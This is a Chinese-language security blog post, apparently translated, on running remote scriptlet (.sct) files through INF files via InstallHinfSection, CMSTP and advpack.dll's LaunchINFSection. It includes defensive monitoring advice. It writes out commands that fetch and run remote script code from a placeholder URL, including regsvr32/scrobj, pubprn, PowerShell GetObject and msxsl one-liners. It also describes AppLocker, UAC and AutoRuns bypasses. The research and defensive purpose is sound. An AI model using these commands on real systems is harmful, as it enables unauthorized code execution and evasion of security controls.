导语:在这篇文章中,我们将讨论几种已知的INF-SCT启动方法并介绍LaunchINFSection以及深入案例和防御思路。

介绍

在过去的几周里,我研究并测试了在Microsoft / MSDN源文件中记录的一些有趣的名称空间/方法,我编写并执行了各种COM脚本/scriptlets(例如VBscript,Jscript等)。我很好奇通过利用@subTee, @Oddvarmoe, @ItsReallyNick, @KyleHanslovan, @ChrisBisnett和@NickTyrer已经执行并记录的一些伟大研究成果,是否有潜在的新方法来调用远程脚本(ActiveX对象)。我有一些有趣的发现,其中比较有亮点的是发现了LaunchINFSection,这是一种用于远程启动INF文件中配置的分阶段SCT文件的“新”方法。

在这篇文章中,我们将讨论几种已知的INF-SCT启动方法并介绍LaunchINFSection以及深入案例和防御思路。另外,我们将参考其他技术来实现远程脚本/脚本执行。

INF-SCT启动方法

通过INF配置文件启动脚本组件文件'(.sct')的方法包括InstallHinfSection(setupapi.dll),CMSTP和LaunchINFSection(advpack.dll)。 

使用InstallHinfSection进行恶意INF-SCT利用

在2017年DerbyCon会议上,@HuntressLabs的@KyleHanslovan和@ChrisBisnett展示了一个非常有趣的议题 – Evading AutoRuns 。在他们的演示中,他们通过使用以下命令调用InstallHinfSection,展示了通过INF启动远程SCT的方法:

rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 [path to file.inf]

在用于远程SCT执行的INF文件中,'rundll32.exe setupapi.dll,InstallHinfSection'调用默认的INF部分('DefaultInstall')。在本节中,Unregister DLLs指令(UnregisterDlls)调用'Squiblydoo'部分以执行调用scrobj.dll来获取并运行SCT脚本文件的'恶意'操作。

使用CMSTP进行恶意INF-SCT的利用

大约一个月前,@NickTyrer在Twitter上演示了INF文件可用于从Web资源获取SCT文件,来使用cmstp.exe执行COM脚本/脚本,该脚本已由@Oddvarmoe记录为绕过UAC和AppLocker默认策略。作为参考,cmstp.exe的基本用法如下所示:

cmstp.exe /s [file].inf

在用于远程SCT执行的INF文件中,cmstp.exe调用名为“DefaultInstall_SingleUser”的INF部分。在本节中,OCX取消注册指令(UnRegisterOCXs)调用'UnRegisterOCXSection'部分来执行调用scrobj.dll来取回并运行SCT脚本文件的'恶意'动作。

使用LaunchINFSection进行恶意INF/SCT利用

根据微软官方文档 ,LaunchINFSection是Advanced INF Package Installer(advpack.dll)中的一种方法,用于调用设置信息(.inf)文件中的特定部分。在系统管理的意义上,INF文件通常用作安装设备驱动程序和/或Windows Cabinet(.cab)文件的指令文件,这些文件可能包括注册Windows二进制文件(exe,dll,ocx),将注册表项添加到注册表,或指定关键参数设置。LaunchINFSection调用的一般方法如下:

rundll32.exe advpack.dll,LaunchINFSection [file].inf,[INF Section],[Path to Cab].cab,[Installation Flags]

如果没有指定[INF Section],则LaunchINFSection将尝试为默认节调用DefaultInstall。此外,值得注意的是,Advanced INF Package Installer还包含LaunchINFSectionEx函数以及其他字符集可比性函数(例如LaunchINFSectionA),它们与LaunchINFSection有效地执行相同的操作。

为了证明这种攻击概念,我们可以简单地修改@NickTyrer使用的INF文件,并使用这里发现的分段SCT脚本有效载荷(感谢@subTee和@redcanaryco为社区提供AtomicRedTeam脚本和许多有用的攻击测试载荷)。让我们下载修改后的INF到目标机器上(test.inf)并使用以下命令调用LaunchINFSection(对于我们不存在的cab文件使用占位符值'1'):

rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall_SingleUser,1,

如下图所示,我们的INF-SCT-Calc Scriptet有效载荷成功启动:

launchinfsection.png

请注意,我们也可以以其他稍微不同的方式启动我们的有效载荷。如果我们将INF文件入口点部分更改为'DefaultInstall',我们可以使用以下命令启动无部分指定的有效内容:

 rundll32.exe advpack.dll,LaunchINFSection test.inf ,, 1,

相同的有效载荷成功启动:

launchinfsection2.png

此外,我们可以将OCX取消注册指令更改为注册指令('RegisterOCXs')并提供一个随机名称(例如'MoreFun')来调用相同的有效负载:

launchinfsection3.png


一些案例和防御注意事项

除了上述环境因素外,防御者还应该注意以下几点:

恶意软件

在野外,攻击者们已经出现了利用恶意的INF有效载荷的软件。@ItsReallyNick在几年前发现了几个实际利用@NickTyrer的CMSTP技术的恶意软件样本。其他示例显示了21世纪初的恶意软件,似乎会更多的利用本机管理技术使用LaunchINFSection而无需执行INF-SCT。

launchinfsectionmalware.png

launchinfsectionmalware2.png

绕过,查杀规避和权限持久

除了绕过操作系统安全控制(如应用程序白名单和用户帐户控制)外,CMSTP还可用于AutoRuns规避和持久性。以下是在AutoRuns中启用“隐藏Windows条目”标志时不显示CMSTP的屏幕截图:

cmstp_autoruns1.png

以下是CMSTP截图,没有任何过滤:

cmstp_autoruns2.png

*注意:LaunchINFSection和InstallHinfSection似乎不是新版的AutoRuns的规避候选者,因为这些方法依赖于rundll32.exe来调用相应的dll。隐藏Windows和Microsoft条目后,这些方法不会被过滤。然而,LaunchINFSection被证明是一种有效的应用程序白名单绕过技术,因为我们可以根据默认 的AppLocker规则“获得代码执行”。

网络分析

希望网络分析现在仍然很重要。以下是由scrobj.dll调用以获取假SCT文件的GET请求示例:

get_request.png

记下User-Agent。有趣的是,我已经看到了与其他有能力执行此类请求的Microsoft实用程序。现在看来,需要仔细的检查才可以发现这种恶意程序,但说起来容易做起来难,不过值得一试。

任意文件名称

现在对于攻击者来说- SCT文件仅仅是文本或XML文件,INF文件是文本文件。在我的基本测试中,这些文件不需要适当的扩展来进行调用。在这个例子中,我们调用'test.notinf'和'test.notsct'都可以成功的执行我们的'sct'有效载荷:

notsct1.png


其他考虑事项

*主机的系统监控至关重要。如果预算是有约束条件的,那么可以考虑使用Sysmon(免费)来提供你的(开源)SIEM。监视在环境中引入新的“.inf”文件并使用上述方法执行这些文件。

*应用程序白名单仍然很重要。默认的AppLocker规则基于路径约束。正如我以前博文所述 ,其中一些路径允许用户写入敏感分层路径中的子目录。确保这些路径被锁定无法写入,这至少可以帮助保护执行技术的一个子集(并且希望在事件触发时提醒你)。

*INF执行不是调用'sct'脚本的唯一方法。我将在更详细的博客中介绍其他方法(包括一些'新'技术),但这里有一些其他执行方法的简要说明可以作为参考:

RegSvr32 / Scrobj.dll [ 参考 ]

regsvr32 /s /n /u /i:http://url/file.sct scrobj.dll

PubPrn [ 参考 ]

pubprn.vbs 127.0.0.1 script:http://url/file.sct

通过PowerShell调用Microsoft.JScript.Eval程序集 [ 参考 ]

[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script:http://url/file.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())

通过PowerShell调用Microsoft.VisualBasic.Interaction程序集 [ 参考 ]

[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:http://url/file.sct').Exec(0)

*值得一提的是,'sct'不是游戏中唯一的玩家。 以下是一些需要监控的其他“远程”XML / XSLT技术:

MsXSL [ 参考 ]

msxsl.exe http://url/file.xml http://url/file.xsl

通过PowerShell 调用System.Xml.Xsl.XslCompiledTransform程序集 [ 参考 ]

$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('http://url/file.xsl',$s,$r);$x.Transform('http://url/file.xml','z');del z;

结论

感谢你花时间阅读这篇博文。随着不断的学习和从社区中获得的更多的东西,我将会在后续不断添加一些内容。如果你有任何问题或意见或者是注意到我忽略了任何重要的内容,请通过Twitter上联系页面或DM我向我发送电子邮件。

源链接

Hacking more

...